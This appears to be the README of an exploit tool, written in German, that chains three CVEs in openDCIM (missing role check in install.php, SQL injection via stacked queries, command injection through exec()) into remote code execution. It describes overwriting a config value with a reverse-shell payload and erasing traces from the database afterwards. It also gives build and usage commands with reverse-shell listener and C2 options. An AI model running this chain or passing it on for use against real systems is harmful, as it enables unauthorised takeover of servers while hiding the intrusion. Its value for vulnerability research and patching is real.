
openDCIM install.php SQLi-zu-RCE-Kette (CWE-862 + CWE-89 + CWE-78)
Kette zur Remote-Codeausführung, die auf das LDAP-Konfigurationsformular von openDCIMs install.php abzielt. Basierend auf dem VulnCheck go-exploit Framework.
| # | CVE | CWE | Beschreibung |
|---|---|---|---|
| 1 | CVE-2026-28515 | CWE-862 | install.php führt vor dem LDAP-Konfigurationsformular keine Rollenprüfung durch – jeder Benutzer kann darauf zugreifen |
| 2 | CVE-2026-28516 | CWE-89 | Config::UpdateParameter() verwendet String-Interpolation und gestapelte Abfragen über PDO+MySQL |
| 3 | CVE-2026-28517 | CWE-78 | report_network_map.php übergibt den Konfigurationswert dot direkt an exec() |
Betroffen: Alle Versionen (getestet auf dem neuesten Commit 4467e9c4)
install.php – SQL-Injection über LDAP-Formular sichert Konfiguration, überschreibt dot mit einem Command-Payloadreport_network_map.php – löst exec() aus, bestätigt RCE über id-Ausgabeinstall.php – überschreibt dot mit einem Reverse-Shell-Payloadreport_network_map.php – löst Reverse Shell ausinstall.php – stellt alle ursprünglichen Konfigurationswerte aus der Backup-Tabelle wieder herNach der Ausnutzung bleiben keine Spuren in der Datenbank zurück.
go build -o opendcim-exploit .
# Nur Scan
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80
# Exploit mit Reverse Shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer
| Flag | Standard | Beschreibung |
|---|
-rhost | Ziel-Host | |
-rport | 80 | Ziel-Port |
-ssl | false | HTTPS verwenden |
-lhost | Listener-Host (für Reverse Shell) | |
-lport | Listener-Port (für Reverse Shell) | |
-c2 | C2-Typ: SimpleShellServer oder SSLShellServer | |
-username | HTTP-Basic-Auth-Benutzername (bei SetEnv-Bereitstellungen weglassen) | |
-password | HTTP-Basic-Auth-Passwort (bei SetEnv-Bereitstellungen weglassen) | |
-a | Asset-Erkennung (prüfen, ob Ziel ausnutzbar ist) | |
-e | Exploit-Modus |